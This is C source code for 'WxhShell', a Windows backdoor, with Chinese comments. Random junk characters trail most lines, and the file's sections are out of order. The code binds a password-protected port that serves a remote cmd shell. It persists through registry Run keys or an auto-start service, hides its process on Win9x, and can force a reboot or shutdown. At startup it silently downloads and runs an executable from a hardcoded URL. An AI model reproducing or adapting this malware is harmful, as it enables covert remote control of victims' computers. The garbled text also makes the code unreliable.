    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e 7)%=F/)  
    if(Boot(SHUTDOWN)) (8eNZ*+mO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (gJ )]/n  
    else { .8uwg@yD  
    closesocket(wsh);  F>oxnhp6  
    ExitThread(0); t5B|c<Hb\  
    } l!2Z`D_MD  
    break; U(&nh ?  
    } {-7yZ]OO$  
  // 获取shell EX_sJc  
  case 's': { MnrGD>M@|  
    CmdShell(wsh); $rQFM[  
    closesocket(wsh); QGCdeE$K  
    ExitThread(0); ]3 8<ly7  
    break; j7HlvoZV  
  } ~RLx;  
  // 退出 ))+9 8iU1s  
  case 'x': { <[B[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =rO>b{,hs  
    CloseIt(wsh); p31rhe   
    break; SAo \H  
    } I3rnCd(  
  // 离开 I~5fz4Q  
  case 'q': { O[(HE 8E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +}L3T"  
    closesocket(wsh); ~1]2A[`s!  
    WSACleanup(); 6Cv2>'{S  
    exit(1); "qP^uno  
    break; -O> mY)  
        } "drh+oo.  
  } 0gb]Kjx  
  } a):Run  
jvQ+u L  
  // 提示信息 pZJQKTCG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R{Kd%Y:2Y  
} 3L%r_N*a  
  } FC- *?  
!m:PBl5  
  return; mW(_FS2%,  
} ?OYwM?Uf  
RDZh>K PG  
// shell模块句柄 a4qpnr]0  
int CmdShell(SOCKET sock) sluZ-,zE  
{ {F9Qy0.*u  
STARTUPINFO si; [tf^i:2  
ZeroMemory(&si,sizeof(si)); GTIfrqT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]\mb6Hc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fh4w0u*Q  
PROCESS_INFORMATION ProcessInfo; ].T;x|  
char cmdline[]="cmd"; 5!Mp#lO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <7-,`   
  return 0; = Vr[V@  
} TKBK3N  
BG?2PO{  
// 自身启动模式 h _7;UQH  
int StartFromService(void) KA{DN!  
{ GvtI-\h]  
typedef struct V5@[7ncVf  
{ 7<'i#E~  
  DWORD ExitStatus; :-@P3F[0  
  DWORD PebBaseAddress; d*:qFq_  
  DWORD AffinityMask; adr^6n6 v  
  DWORD BasePriority; Ty|c@X  
  ULONG UniqueProcessId; F*( A; N_y  
  ULONG InheritedFromUniqueProcessId; pC. 4AkEO  
}   PROCESS_BASIC_INFORMATION; Py0 i%pZ  
)n[Mh!mn  
PROCNTQSIP NtQueryInformationProcess; >s?;2T2"yx  
1Kf t?g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lGBdQc]IL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ITqigGan%  
bme#G{[)Y  
  HANDLE             hProcess; Q pc^qP^-  
  PROCESS_BASIC_INFORMATION pbi; 5@rqU(]<  
)w?$~q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %c2i.E/G  
  if(NULL == hInst ) return 0; " /-v 9  
x]+KO)I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y +yvv{01  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dQ~"b=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]Tw6Fg1o>  
QN a3S*  
  if (!NtQueryInformationProcess) return 0; g UAPjR  
ea}KxLC`,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;|1P1H-W~M  
  if(!hProcess) return 0; r_Yl/WW  
`a-T95IFy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'n.9qxY;  
@gGuV$Mw  
  CloseHandle(hProcess); {QkH%jj  
+~.Jw#HqS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tka="eyIj3  
if(hProcess==NULL) return 0; l hp:.  
$ rnr;V  
HMODULE hMod; q8v!{Os+#  
char procName[255]; Guc^gq}  
unsigned long cbNeeded; cDyC&}:f  
&L`p4AZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _\[JMhd}  
neH"ks5  
  CloseHandle(hProcess); S2SQ;s-t_  
Z'bMIdV  
if(strstr(procName,"services")) return 1; // 以服务启动 oDI*\S>  
9TS=>  
  return 0; // 注册表启动 buyz>IC P  
} b:I5poI3  
-7VV5W  
// 主模块 1c~#]6[  
int StartWxhshell(LPSTR lpCmdLine) e1}0f8%  
{ iL' ]du<wk  
  SOCKET wsl; zb)SlR  
BOOL val=TRUE; ]J]p:Y>NL  
  int port=0; j=QjvWD  
  struct sockaddr_in door; /`@>v$oo  
Fpwh.R:yV  
  if(wscfg.ws_autoins) Install(); S$/3Kq  
t^;Fq{>  
port=atoi(lpCmdLine); SntYi0,`  
*heQ@ww  
if(port<=0) port=wscfg.ws_port; D];([:+4  
cSDCNc*%  
  WSADATA data; Z}StA0F_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =B%e0M  
FEswNB(]*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y^BM*CI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ub&29Qte  
  door.sin_family = AF_INET; >G7U7R}R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S6Pb V}  
  door.sin_port = htons(port); ..mz!:Zs0  
bvTkS EN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zz*[JIe  
closesocket(wsl); q8]k]:r  
return 1; @eU/g![u  
} >;?97'M  
<2A'   
  if(listen(wsl,2) == INVALID_SOCKET) { 7^X_tQf  
closesocket(wsl); W4a20KM2  
return 1; 9oz)E>K4f  
} " N4]e/.V  
  Wxhshell(wsl); niBpbsO  
  WSACleanup(); L]")TQ  
4`]1W,t  
return 0; 1_]l|`Po  
e|y~q0Q$  
} _ RT}Ee}Y  
[wYQP6Cyy  
// 以NT服务方式启动 @S):a`J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <Ux;dekz}  
{ :gv#_[k  
DWORD   status = 0; v 0H#\p  
  DWORD   specificError = 0xfffffff; -3 Hq1  
Mpx.n]O.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xoaQ5u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; an~Kc!Oki  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KguFU  
  serviceStatus.dwWin32ExitCode     = 0; 4{E=wg^p  
  serviceStatus.dwServiceSpecificExitCode = 0; IQ8AsV&'C  
  serviceStatus.dwCheckPoint       = 0; vj0?b/5m  
  serviceStatus.dwWaitHint       = 0; >?<d}9X  
Xw5" JE!.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i[J',  
  if (hServiceStatusHandle==0) return; %R>MSSjvr  
GjBQxn  
status = GetLastError(); R?I3xb  
  if (status!=NO_ERROR) VTa8.(i6v  
{ f#mpd]e+6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -XB>&dNl)T  
    serviceStatus.dwCheckPoint       = 0; z ZQoY_UI  
    serviceStatus.dwWaitHint       = 0; en)DN3  
    serviceStatus.dwWin32ExitCode     = status; b L~<~gA  
    serviceStatus.dwServiceSpecificExitCode = specificError; eyV904<F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .jw)e!<\N  
    return; =Y0m;-1M  
  } ]f?LQCTq<b  
0g\&3EvD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9 |Y?#oZ1  
  serviceStatus.dwCheckPoint       = 0; Mt>DAk  
  serviceStatus.dwWaitHint       = 0; o}z}79Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U>XGJQ<NS  
} $4pW#4/4  
8Qh/=Ir  
// 处理NT服务事件,比如:启动、停止 [U0c   
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9mZ1 a6,x  
{ f [D#QC  
switch(fdwControl) nceF4Ty  
{ t60m:k4J  
case SERVICE_CONTROL_STOP: ?hYe4tc-#  
  serviceStatus.dwWin32ExitCode = 0; :QNEA3Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &$[{L)D  
  serviceStatus.dwCheckPoint   = 0; P@#6.Bb#V  
  serviceStatus.dwWaitHint     = 0; E3qX$|.$/  
  { ~MX@-Ff  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^y,ip=<5\3  
  } 3ssio-X  
  return; p"Y=  
case SERVICE_CONTROL_PAUSE: H Vy^^$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0a5P@;"a  
  break; 'I2)-=ZL6  
case SERVICE_CONTROL_CONTINUE: IcZ'KV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NR5A"_'  
  break; [(mq8Nb  
case SERVICE_CONTROL_INTERROGATE: $nW>]S\|  
  break; A 3l1$t#w  
}; 4w,}1uNEf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5I14"Qf  
} $.kYAsZts  
gFH_^~7i8p  
// 标准应用程序主函数 N>_7Ltw/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <4Fd ~  
{ B$G8,3,:  
P?F:x=@'|  
// 获取操作系统版本 !8$}]uWP  
OsIsNt=GetOsVer(); moGbBkO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [*(MI 9WM  
V*N9D>C  
  // 从命令行安装 FYJB.lAT  
  if(strpbrk(lpCmdLine,"iI")) Install(); '"EOLr\Z,  
*HRRv.iQ  
  // 下载执行文件 lMP7o&  
if(wscfg.ws_downexe) { F-6* BUqJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @N$r'@  
  WinExec(wscfg.ws_filenam,SW_HIDE); $W2AiE[Wm  
} +J} 41  
 T-\,r  
if(!OsIsNt) { gM8eO-d  
// 如果时win9x,隐藏进程并且设置为注册表启动 c8u0\X,  
HideProc(); >,v~,<3 i  
StartWxhshell(lpCmdLine); vR,'':  
}  >Pu*MD;  
else (bw;zNW  
  if(StartFromService()) P|?z1JUd  
  // 以服务方式启动 >Et?7@   
  StartServiceCtrlDispatcher(DispatchTable); U6Qeode  
else d dPJx<  
  // 普通方式启动 z}%to0W  
  StartWxhshell(lpCmdLine); 8Xr3q eh+  
K;95M^C\O*  
return 0; ;u%hwlo  
} 1L0ku@%t9Y  
3 R m$  
AYi$LsLhO  
hug12Cu  
=========================================== ,ZSuo4  
IO+z:D{  
U;31}'b  
bMZ0%(q  
OjHBzrK  
!\m.&lk'^  
" d09GD[5  
xqr`T0!&  
#include <stdio.h> UaBR;v-.B3  
#include <string.h> .q=X58tHu  
#include <windows.h> m H?hzxa+  
#include <winsock2.h> x\=h^r#w  
#include <winsvc.h> ] !H<vR$8  
#include <urlmon.h> #G,e]{gs  
g (~&  
#pragma comment (lib, "Ws2_32.lib") D"hiEz  
#pragma comment (lib, "urlmon.lib") ck}y-,>,[O  
b9U2afd  
#define MAX_USER   100 // 最大客户端连接数 ql4T@r3l}3  
#define BUF_SOCK   200 // sock buffer U t%ie=c  
#define KEY_BUFF   255 // 输入 buffer WRgz]=W3w  
_w26iCnB{  
#define REBOOT     0   // 重启 _k}b  
#define SHUTDOWN   1   // 关机 Mk?9`?g.  
zh6so.  
#define DEF_PORT   5000 // 监听端口 ~q/`Z)(yc  
pp:+SoyN  
#define REG_LEN     16   // 注册表键长度 L+u_153  
#define SVC_LEN     80   // NT服务名长度 #y?z2 !  
"[%NXan  
// 从dll定义API j}|6k6t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (T^aZuuS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vL><Y.kOEs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); emHi= [!i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WlY%f}l n  
PQ5DTk  
// wxhshell配置信息 -{< %Wt9  
struct WSCFG { >hXUq9;:  
  int ws_port;         // 监听端口 N&n{R8=^"  
  char ws_passstr[REG_LEN]; // 口令 ILQg@J l  
  int ws_autoins;       // 安装标记, 1=yes 0=no n"pADTaB  
  char ws_regname[REG_LEN]; // 注册表键名 +,%x&L&I  
  char ws_svcname[REG_LEN]; // 服务名 /i]Gg \)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eI[z%j[Y*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NZ_45/(dx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4M:oa#gh@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a}fW3+>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <sTa Xaq?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;9^B# aTM  
0e:aeLh  
}; 6(z.(eT  
]*@7o^4i  
// default Wxhshell configuration Kq1sGk  
struct WSCFG wscfg={DEF_PORT, |9g*rO  
    "xuhuanlingzhe", U3Q'ZT  
    1, 4, :D4WYWD  
    "Wxhshell", 7fVVU+y  
    "Wxhshell", l})uYae/  
            "WxhShell Service", \!%3giD5!  
    "Wrsky Windows CmdShell Service", /eE P^)h  
    "Please Input Your Password: ", QCjmg5bf'7  
  1, CN >q`[!  
  "http://www.wrsky.com/wxhshell.exe", `*slQ }i  
  "Wxhshell.exe" t;*'p  
    }; `R^)< v*  
LvR=uD  
// 消息定义模块 55AG>j&41  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [fb-G5x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |[qI2-el?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aw,8'N)  
char *msg_ws_ext="\n\rExit."; B1GSZUd^?0  
char *msg_ws_end="\n\rQuit."; Ug9o/I@}C  
char *msg_ws_boot="\n\rReboot..."; Q:-/@$&i  
char *msg_ws_poff="\n\rShutdown..."; %=| I;kI?  
char *msg_ws_down="\n\rSave to "; XnNK )dUT}  
P }PSS#nn  
char *msg_ws_err="\n\rErr!"; I5e!vCG)  
char *msg_ws_ok="\n\rOK!"; U9@q"v-  
wU=(_S,c  
char ExeFile[MAX_PATH]; J3$ihH.  
int nUser = 0; OLiYjYd  
HANDLE handles[MAX_USER]; SsaF><{5R  
int OsIsNt; SVR AkP-  
TKmC/c  
SERVICE_STATUS       serviceStatus; UqAvFCy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R% ddB D\?  
4(Mt6{q  
// 函数声明 #de]b  
int Install(void); zRKg>GG`  
int Uninstall(void); OtC/)sX  
int DownloadFile(char *sURL, SOCKET wsh); lKm?Xu'yH  
int Boot(int flag); osnDW aN  
void HideProc(void); 0wc+<CUW  
int GetOsVer(void); t%/5$<!b  
int Wxhshell(SOCKET wsl); :]]amziP&  
void TalkWithClient(void *cs); $k!t&G  
int CmdShell(SOCKET sock); Zw }7vD0  
int StartFromService(void); =7jkW (Q  
int StartWxhshell(LPSTR lpCmdLine); aC:rrS  
_{A($/~c?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Fa;CWyt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6I>W(_T  
 u2DsjaL  
// 数据结构和表定义 M F& +4$q  
SERVICE_TABLE_ENTRY DispatchTable[] = M+ H$Jjcs  
{ $1w8GI\J  
{wscfg.ws_svcname, NTServiceMain}, $[z*MQ  
{NULL, NULL} 63at lq  
}; T\]z0M  
 Im#3sn  
// 自我安装 fc M~4yP?  
int Install(void) 3GaM>w}>W  
{ 7%0PsF _  
  char svExeFile[MAX_PATH]; N!P* B $d  
  HKEY key; ^+}<Q#y-  
  strcpy(svExeFile,ExeFile); ,,i;6q_f  
WjA)0HL(  
// 如果是win9x系统,修改注册表设为自启动 b]J_R"}  
if(!OsIsNt) { (5atU |8r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OnD+/I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;ymUMQ%;/  
  RegCloseKey(key); h'N,oDB)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }U8H4B~UtY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /423!g0Q  
  RegCloseKey(key); :CV&WP  
  return 0; u|Db%)[  
    } >0f5Mjug  
  } n0EKNMO  
} -]N/P{=L  
else { V+E2nJ  
ost~<4~  
// 如果是NT以上系统,安装为系统服务 |vGz 1jLV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D F0~A  
if (schSCManager!=0) 2#sE\D  
{ p[W8XX  
  SC_HANDLE schService = CreateService K}Aaflq  
  ( (=7e~'DC  
  schSCManager, ZZ4W?);;  
  wscfg.ws_svcname, m+1MoeR  
  wscfg.ws_svcdisp, ^d!-IL_  
  SERVICE_ALL_ACCESS, fa$ Fo(.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {At1]>  
  SERVICE_AUTO_START, MF=@PE][  
  SERVICE_ERROR_NORMAL, $rf5\_G,96  
  svExeFile, ==c\* o  
  NULL, l'$AmuGj  
  NULL, ^gNAGQYA  
  NULL, |JrG?:n  
  NULL, Z>o20uA  
  NULL TlM ]d;9G  
  ); u YJ6 "j  
  if (schService!=0) dGZVWEaPfx  
  { 'os-+m@  
  CloseServiceHandle(schService); _sw,Y!x%dF  
  CloseServiceHandle(schSCManager); 2<<,aL*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {GZHD^Ce  
  strcat(svExeFile,wscfg.ws_svcname); )=8X[<^i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _4.fT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }`>u+iH#a  
  RegCloseKey(key); <Y9ps`{}:  
  return 0; wxF9lZz  
    } x"*u98&3  
  } z%]~^k8  
  CloseServiceHandle(schSCManager); ZSHc@r*>  
} 17J|g.]m-&  
} 0hCJovSG%  
`y m^0x8  
return 1; o D^],  
} ba|~B8rII[  
_G[5S-0 [  
// 自我卸载 ck-wMd  
int Uninstall(void) O'o`  
{ QIG MP=!j  
  HKEY key; z]~B@9l  
YpXUYNy  
if(!OsIsNt) { w0VJt<e*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o9>r -  
  RegDeleteValue(key,wscfg.ws_regname); T*O!r`.Ak  
  RegCloseKey(key); IL`5RZi1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >H[&Wa+_  
  RegDeleteValue(key,wscfg.ws_regname); =|=9\3po  
  RegCloseKey(key); X8F _Mb*  
  return 0; tOS%.0W5J  
  } HuCH`|v-  
} _! \X>rfz  
} rAk*~OK  
else { ' ^n2]<  
^uC1\!Q1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n omtP }  
if (schSCManager!=0) 7G!SlC X}W  
{ $d4eGL2S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^[lg1uMW  
  if (schService!=0) _q M'm^z5  
  { N%n#mV;  
  if(DeleteService(schService)!=0) { if r!ha+8!  
  CloseServiceHandle(schService); Nmns3D  
  CloseServiceHandle(schSCManager); X 1^f0\k  
  return 0; l 8n#sGA%  
  } ]g!k'@  
  CloseServiceHandle(schService); QV7K~qi  
  } RCnN+b:c  
  CloseServiceHandle(schSCManager); ,RDxu7iT  
}  E~jNUTq  
} =^O8 4Cp 6  
3]M YH b  
return 1; SO3WOR`3  
} hPP+lqY[  
8&f}GdZh  
// 从指定url下载文件 +u:8#!X$RD  
int DownloadFile(char *sURL, SOCKET wsh) 'l)@MX bGL  
{ ?}bSQ)b  
  HRESULT hr; WUMx:a0!  
char seps[]= "/"; &YDb/{|CIC  
char *token; D9+a"2|3<  
char *file; -9\O$I-3  
char myURL[MAX_PATH]; 9T`xW]Zf  
char myFILE[MAX_PATH]; ) ^!oM  
&}wKC:LSP  
strcpy(myURL,sURL); V!a|rTU6  
  token=strtok(myURL,seps); F;}?O==H;  
  while(token!=NULL) `{<2{}2M  
  { m RxL%!  
    file=token; >{$ ;O  
  token=strtok(NULL,seps); &(IL`%  
  } |C\g3N-  
}Sqey:9jH  
GetCurrentDirectory(MAX_PATH,myFILE); uFW4A  
strcat(myFILE, "\\"); n +`(R]Q  
strcat(myFILE, file); J9mLW}I?NW  
  send(wsh,myFILE,strlen(myFILE),0); r"zW=9 O=  
send(wsh,"...",3,0); l3)(aay!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;xXHSxa:=W  
  if(hr==S_OK) b8feo'4Z   
return 0; #AFr@n  
else 0+m"eGwTm  
return 1; (<=qW_iW  
lD _  u  
} gU0}.b  
p%G4Js.  
// 系统电源模块 ;XZ5r|V}  
int Boot(int flag) TJ ;4QL  
{ k;#$Oxa>t=  
  HANDLE hToken; v$owG-_><  
  TOKEN_PRIVILEGES tkp; rb qH9 S  
8~Rja  
  if(OsIsNt) { /Vg R[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mv)M9c,`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N|WnUlf]:  
    tkp.PrivilegeCount = 1; x{&0:|bCs6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A|c  :&i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $Vlfg51ob  
if(flag==REBOOT) { %]nLCoQh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 67~m9pk  
  return 0; J wRdr8q  
} 6JSa:Q>,  
else { @L,T/m-HF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d]} 7]  
  return 0; zZ[SC  
} Z: &"Ax  
  } b^;19]/RW  
  else { t9zPJQlT}  
if(flag==REBOOT) { \#lh b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hUxpz:U*  
  return 0; cSnm\f  
} k9w<0h3  
else { 0/#XUX 4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "mSDL:$  
  return 0; O_FT@bo\  
} .KIAeCvl\  
} Q4Hf!v]r  
pz:$n_XC}  
return 1; 9 %,_G.  
} B@63=a*kG  
:2 n5;fp  
// win9x进程隐藏模块 [64K?l0&  
void HideProc(void) C;OU2,c,T  
{ tv,^ Q}  
YL;ZZ2A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @lc1Ipfk"  
  if ( hKernel != NULL ) X.o[=E  
  { nsaf6y&E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qWy{{ A+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fp:j~a>E  
    FreeLibrary(hKernel); '_4u, \SG  
  } !,V8?3.aJn  
`i9WnPRt  
return; 2Qc&6-;`  
} SrN0f0  
ad&Mk^p  
// 获取操作系统版本 oB&s2~  
int GetOsVer(void) M#=woj&[  
{ \Nb6E&+  
  OSVERSIONINFO winfo; s3uT:Xw3rW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `g6ZhG:W  
  GetVersionEx(&winfo); a^)7&|$ E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L&Qdb xn  
  return 1;  UY+~,a  
  else +VAfT\G2  
  return 0; * ,_Qdr^F  
} nx $?wxIm  
X. UN=lu  
// 客户端句柄模块 hkRv0q.'  
int Wxhshell(SOCKET wsl) Ipb 4{A&"\  
{ U :J~O y_Z  
  SOCKET wsh; z,P:i$  
  struct sockaddr_in client; ZBJ.dK?Ky|  
  DWORD myID; j0kEi+!TVq  
B>o #eW  
  while(nUser<MAX_USER)  8Nd +  
{ 7>9/bB+TL  
  int nSize=sizeof(client); $*G]6s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <$Q&n{  
  if(wsh==INVALID_SOCKET) return 1; .Uh-Wi[  
w44{~[0d4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]\+bx=  
if(handles[nUser]==0) OC 7:Dp4  
  closesocket(wsh); .J&NM(qeZ  
else {SqY77  
  nUser++; CImB,AXS  
  } A^3cP, L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [\@!~F{  
YZr^;jfP  
  return 0; ucJR #14  
} 29,`2fFr  
v\n!Li H  
// 关闭 socket E@0w t^  
void CloseIt(SOCKET wsh) R+]Fh4t  
{ P-7!\[];te  
closesocket(wsh); wAF>C[<\  
nUser--; ~ W52Mbf  
ExitThread(0); 0aQNdi)b  
} a_x$I? ,  
I]~xs0$4#  
// 客户端请求句柄 rv9qF |2r{  
void TalkWithClient(void *cs) sOz jViv  
{ )n5]+VTZ5  
N95"dNZE  
  SOCKET wsh=(SOCKET)cs; U87VaUr  
  char pwd[SVC_LEN]; *h@nAB\3  
  char cmd[KEY_BUFF]; <saS2.4  
char chr[1]; )#xd]~ <  
int i,j; dm8veKW'l  
:*0k:h6g  
  while (nUser < MAX_USER) { `vL R;D  
cK@O)Ko}  
if(wscfg.ws_passstr) { :2 QA#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y^2Ma878  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :M1+[FT  
  //ZeroMemory(pwd,KEY_BUFF); y{!`4CxF  
      i=0; &{Uaa  
  while(i<SVC_LEN) { dQ/Xs.8  
K4,VSy1byI  
  // 设置超时 i:qc2#O:J  
  fd_set FdRead; 0}Kl47}aD  
  struct timeval TimeOut; p KKn  
  FD_ZERO(&FdRead); _YmY y\g  
  FD_SET(wsh,&FdRead); ]9R?2{"K  
  TimeOut.tv_sec=8; K~x G+Kh  
  TimeOut.tv_usec=0; 5c'rnMW4+p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @2YO_rL[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;9,Ll%Lk<  
?9mWMf%t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &y3_>!L  
  pwd=chr[0]; |I)Ms NF  
  if(chr[0]==0xd || chr[0]==0xa) { a9FlzR  
  pwd=0; wUh'1D<(r  
  break; |Ro\2uSr  
  } ;6fkG/T  
  i++; SY>N-fW\H:  
    } `S;pn+5  
 4>0xS -  
  // 如果是非法用户,关闭 socket 57K1e~^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CSt6}_c!  
} 7QQ3IepP  
bnB}VRal  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _$MoMg{uJH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); + #S]uC  
Kqhj=B  
while(1) { gAv?\9=a)W  
'ZL)-kbI  
  ZeroMemory(cmd,KEY_BUFF); 9I]*T  
OFQsfW3O  
      // 自动支持客户端 telnet标准   9 r+' o#  
  j=0; dkG-Yz~  
  while(j<KEY_BUFF) { ,i>5\Yl%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p1J%=  
  cmd[j]=chr[0]; X+P3a/T  
  if(chr[0]==0xa || chr[0]==0xd) { eHPGzN Xb  
  cmd[j]=0; OwSr`2'9  
  break; SV6Np?U  
  } +qzsC/y  
  j++;  M"X/([G  
    } "=P@x|I  
N{|N_}X`Y  
  // 下载文件 He"> kJx  
  if(strstr(cmd,"http://")) { }I05&/o.3p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \W/c C'  
  if(DownloadFile(cmd,wsh)) +es.V /  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V%o:Qa[a  
  else c9r2kc3cy{  
